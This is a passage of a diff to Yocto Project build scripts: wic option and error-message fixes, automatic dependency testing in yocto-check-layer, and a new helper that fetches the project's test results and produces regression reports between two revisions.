from collections import namedtuple
-from distutils import spawn
# External modules
scripts_path = os.path.dirname(os.path.realpath(__file__))
@@ -47,7 +47,7 @@ if os.environ.get('SDKTARGETSYSROOT'):
break
sdkroot = os.path.dirname(sdkroot)
-bitbake_exe = spawn.find_executable('bitbake')
+bitbake_exe = shutil.which('bitbake')
if bitbake_exe:
bitbake_path = scriptpath.add_bitbake_lib_path()
import bb
@@ -159,6 +159,9 @@ def wic_create_subcommand(options, usage_str):
"(Use -e/--image-name to specify it)")
native_sysroot = options.native_sysroot
+ if options.kernel_dir:
+ kernel_dir = options.kernel_dir
+
if not options.vars_dir and (not native_sysroot or not os.path.isdir(native_sysroot)):
logger.info("Building wic-tools...\n")
subprocess.check_call(["bitbake", "wic-tools"])
@@ -206,7 +209,7 @@ def wic_create_subcommand(options, usage_str):
logger.info(" (Please check that the build artifacts for the machine")
logger.info(" selected in local.conf actually exist and that they")
logger.info(" are the correct artifacts for the image (.wks file)).\n")
- raise WicError("The artifact that couldn't be found was %s:\n %s", not_found, not_found_dir)
+ raise WicError("The artifact that couldn't be found was %s:\n %s" % (not_found, not_found_dir))
krootfs_dir = options.rootfs_dir
if krootfs_dir is None:
@@ -312,6 +315,8 @@ def wic_init_parser_create(subparser):
subparser.add_argument("-o", "--outdir", dest="outdir", default='.',
help="name of directory to create image in")
+ subparser.add_argument("-w", "--workdir",
+ help="temporary workdir to use for intermediate files")
subparser.add_argument("-e", "--image-name", dest="image_name",
help="name of the image to use the artifacts from "
"e.g. core-image-sato")
@@ -344,6 +349,8 @@ def wic_init_parser_create(subparser):
default=False, help="output debug information")
subparser.add_argument("-i", "--imager", dest="imager",
default="direct", help="the wic imager plugin")
+ subparser.add_argument("--extra-space", type=int, dest="extra_space",
+ default=0, help="additional free disk space to add to the image")
return
diff --git a/scripts/yocto-check-layer b/scripts/yocto-check-layer
index b7c83c8b54..67cc71950f 100755
--- a/scripts/yocto-check-layer
+++ b/scripts/yocto-check-layer
@@ -24,7 +24,7 @@ import scriptpath
scriptpath.add_oe_lib_path()
scriptpath.add_bitbake_lib_path()
-from checklayer import LayerType, detect_layers, add_layers, add_layer_dependencies, get_signatures, check_bblayers
+from checklayer import LayerType, detect_layers, add_layers, add_layer_dependencies, get_layer_dependencies, get_signatures, check_bblayers, sanity_check_layers
from oeqa.utils.commands import get_bb_vars
PROGNAME = 'yocto-check-layer'
@@ -41,6 +41,12 @@ def test_layer(td, layer, test_software_layer_signatures):
tc.loadTests(CASES_PATHS)
return tc.runTests()
+def dump_layer_debug(layer):
+ logger.debug("Found layer %s (%s)" % (layer["name"], layer["path"]))
+ collections = layer.get("collections", {})
+ if collections:
+ logger.debug("%s collections: %s" % (layer["name"], ", ".join(collections)))
+
def main():
parser = argparse.ArgumentParser(
description="Yocto Project layer checking tool",
@@ -51,6 +57,8 @@ def main():
help='File to output log (optional)', action='store')
parser.add_argument('--dependency', nargs="+",
help='Layers to process for dependencies', action='store')
+ parser.add_argument('--no-auto-dependency', help='Disable automatic testing of dependencies',
+ action='store_true')
parser.add_argument('--machines', nargs="+",
help='List of MACHINEs to be used during testing', action='store')
parser.add_argument('--additional-layers', nargs="+",
@@ -104,6 +112,17 @@ def main():
else:
dep_layers = layers
+ logger.debug("Found additional layers:")
+ for l in additional_layers:
+ dump_layer_debug(l)
+ logger.debug("Found dependency layers:")
+ for l in dep_layers:
+ dump_layer_debug(l)
+
+ if not sanity_check_layers(additional_layers + dep_layers, logger):
+ logger.error("Failed layer validation")
+ return 1
+
logger.info("Detected layers:")
for layer in layers:
if layer['type'] == LayerType.ERROR_BSP_DISTRO:
@@ -112,7 +131,7 @@ def main():
% layer['name'])
layers.remove(layer)
elif layer['type'] == LayerType.ERROR_NO_LAYER_CONF:
- logger.error("%s: Don't have conf/layer.conf file."\
+ logger.info("%s: Doesn't have conf/layer.conf file, so ignoring"\
% layer['name'])
layers.remove(layer)
else:
@@ -121,6 +140,21 @@ def main():
if not layers:
return 1
+ # Find all dependencies, and get them checked too
+ if not args.no_auto_dependency:
+ depends = []
+ for layer in layers:
+ layer_depends = get_layer_dependencies(layer, dep_layers, logger)
+ if layer_depends:
+ for d in layer_depends:
+ if d not in depends:
+ depends.append(d)
+
+ for d in depends:
+ if d not in layers:
+ logger.info("Adding %s to the list of layers to test, as a dependency", d['name'])
+ layers.append(d)
+
shutil.copyfile(bblayersconf, bblayersconf + '.backup')
def cleanup_bblayers(signum, frame):
shutil.copyfile(bblayersconf + '.backup', bblayersconf)
@@ -134,11 +168,13 @@ def main():
layers_tested = 0
for layer in layers:
- if layer['type'] == LayerType.ERROR_NO_LAYER_CONF or \
- layer['type'] == LayerType.ERROR_BSP_DISTRO:
+ if layer['type'] in (LayerType.ERROR_NO_LAYER_CONF, LayerType.ERROR_BSP_DISTRO):
continue
- if check_bblayers(bblayersconf, layer['path'], logger):
+ # Reset to a clean backup copy for each run
+ shutil.copyfile(bblayersconf + '.backup', bblayersconf)
+
+ if layer['type'] not in (LayerType.CORE, ) and check_bblayers(bblayersconf, layer['path'], logger):
logger.info("%s already in %s. To capture initial signatures, layer under test should not present "
"in BBLAYERS. Please remove %s from BBLAYERS." % (layer['name'], bblayersconf, layer['name']))
results[layer['name']] = None
@@ -149,17 +185,13 @@ def main():
logger.info("Setting up for %s(%s), %s" % (layer['name'], layer['type'],
layer['path']))
- shutil.copyfile(bblayersconf + '.backup', bblayersconf)
-
missing_dependencies = not add_layer_dependencies(bblayersconf, layer, dep_layers, logger)
if not missing_dependencies:
for additional_layer in additional_layers:
if not add_layer_dependencies(bblayersconf, additional_layer, dep_layers, logger):
missing_dependencies = True
break
- if not add_layer_dependencies(bblayersconf, layer, dep_layers, logger) or \
- any(map(lambda additional_layer: not add_layer_dependencies(bblayersconf, additional_layer, dep_layers, logger),
- additional_layers)):
+ if missing_dependencies:
logger.info('Skipping %s due to missing dependencies.' % layer['name'])
results[layer['name']] = None
results_status[layer['name']] = 'SKIPPED (Missing dependencies)'
diff --git a/scripts/yocto_testresults_query.py b/scripts/yocto_testresults_query.py
new file mode 100755
index 0000000000..521ead8473
--- /dev/null
+++ b/scripts/yocto_testresults_query.py
@@ -0,0 +1,131 @@
+#!/usr/bin/env python3
+
+# Yocto Project test results management tool
+# This script is an thin layer over resulttool to manage tes results and regression reports.
+# Its main feature is to translate tags or branch names to revisions SHA1, and then to run resulttool
+# with those computed revisions
+#
+# Copyright (C) 2023 OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import sys
+import os
+import argparse
+import subprocess
+import tempfile
+import lib.scriptutils as scriptutils
+
+script_path = os.path.dirname(os.path.realpath(__file__))
+poky_path = os.path.abspath(os.path.join(script_path, ".."))
+resulttool = os.path.abspath(os.path.join(script_path, "resulttool"))
+logger = scriptutils.logger_create(sys.argv[0])
+testresults_default_url="git://git.yoctoproject.org/yocto-testresults"
+
+def create_workdir():
+ workdir = tempfile.mkdtemp(prefix='yocto-testresults-query.')
+ logger.info(f"Shallow-cloning testresults in {workdir}")
+ subprocess.check_call(["git", "clone", testresults_default_url, workdir, "--depth", "1"])
+ return workdir
+
+def get_sha1(pokydir, revision):
+ try:
+ rev = subprocess.check_output(["git", "rev-list", "-n", "1", revision], cwd=pokydir).decode('utf-8').strip()
+ logger.info(f"SHA-1 revision for {revision} in {pokydir} is {rev}")
+ return rev
+ except subprocess.CalledProcessError:
+ logger.error(f"Can not find SHA-1 for {revision} in {pokydir}")
+ return None
+
+def get_branch(tag):
+ # The tags in test results repository, as returned by git rev-list, have the following form:
+ # refs/tags/<branch>/<count>-g<sha1>/<num>
+ return '/'.join(tag.split("/")[2:-2])
+
+def fetch_testresults(workdir, sha1):
+ logger.info(f"Fetching test results for {sha1} in {workdir}")
+ rawtags = subprocess.check_output(["git", "ls-remote", "--refs", "--tags", "origin", f"*{sha1}*"], cwd=workdir).decode('utf-8').strip()
+ if not rawtags:
+ raise Exception(f"No reference found for commit {sha1} in {workdir}")
+ branch = ""
+ for rev in [rawtag.split()[1] for rawtag in rawtags.splitlines()]:
+ if not branch:
+ branch = get_branch(rev)
+ logger.info(f"Fetching matching revision: {rev}")
+ subprocess.check_call(["git", "fetch", "--depth", "1", "origin", f"{rev}:{rev}"], cwd=workdir)
+ return branch
+
+def compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision, args):
+ logger.info(f"Running resulttool regression between SHA1 {baserevision} and {targetrevision}")
+ command = [resulttool, "regression-git", "--branch", basebranch, "--commit", baserevision, "--branch2", targetbranch, "--commit2", targetrevision, workdir]
+ if args.limit:
+ command.extend(["-l", args.limit])
+ report = subprocess.check_output(command).decode("utf-8")
+ return report
+
+def print_report_with_header(report, baseversion, baserevision, targetversion, targetrevision):
+ print("========================== Regression report ==============================")
+ print(f'{"=> Target:": <16}{targetversion: <16}({targetrevision})')
+ print(f'{"=> Base:": <16}{baseversion: <16}({baserevision})')
+ print("===========================================================================\n")
+ print(report, end='')
+
+def regression(args):
+ logger.info(f"Compute regression report between {args.base} and {args.target}")
+ if args.testresultsdir:
+ workdir = args.testresultsdir
+ else:
+ workdir = create_workdir()
+
+ try:
+ baserevision = get_sha1(poky_path, args.base)
+ targetrevision = get_sha1(poky_path, args.target)
+ if not baserevision or not targetrevision:
+ logger.error("One or more revision(s) missing. You might be targeting nonexistant tags/branches, or are in wrong repository (you must use Poky and not oe-core)")
+ if not args.testresultsdir:
+ subprocess.check_call(["rm", "-rf", workdir])
+ sys.exit(1)
+ basebranch = fetch_testresults(workdir, baserevision)
+ targetbranch = fetch_testresults(workdir, targetrevision)
+ report = compute_regression_report(workdir, basebranch, baserevision, targetbranch, targetrevision, args)
+ print_report_with_header(report, args.base, baserevision, args.target, targetrevision)
+ finally:
+ if not args.testresultsdir:
+ subprocess.check_call(["rm", "-rf", workdir])
+
+def main():
+ parser = argparse.ArgumentParser(description="Yocto Project test results helper")
+ subparsers = parser.add_subparsers(
+ help="Supported commands for test results helper",
+ required=True)
+ parser_regression_report = subparsers.add_parser(
+ "regression-report",
+ help="Generate regression report between two fixed revisions. Revisions can be branch name or tag")
+ parser_regression_report.add_argument(
+ 'base',
+ help="Revision or tag against which to compare results (i.e: the older)")
+ parser_regression_report.add_argument(
+ 'target',
+ help="Revision or tag to compare against the base (i.e: the newer)")
+ parser_regression_report.add_argument(
+ '-t',
+ '--testresultsdir',
+ help=f"An existing test results directory. {sys.argv[0]} will automatically clone it and use default branch if not provided")
+ parser_regression_report.add_argument(
+ '-l',
+ '--limit',
+ help=f"Maximum number of changes to display per test. Can be set to 0 to print all changes")
+ parser_regression_report.set_defaults(func=regression)
+
+ args = parser.parse_args()
+ args.func(args)
+
+if __name__ == '__main__':
+ try:
+ ret = main()
+ except Exception:
+ ret = 1
+ import traceback
+ traceback.print_exc()
+ sys.exit(ret)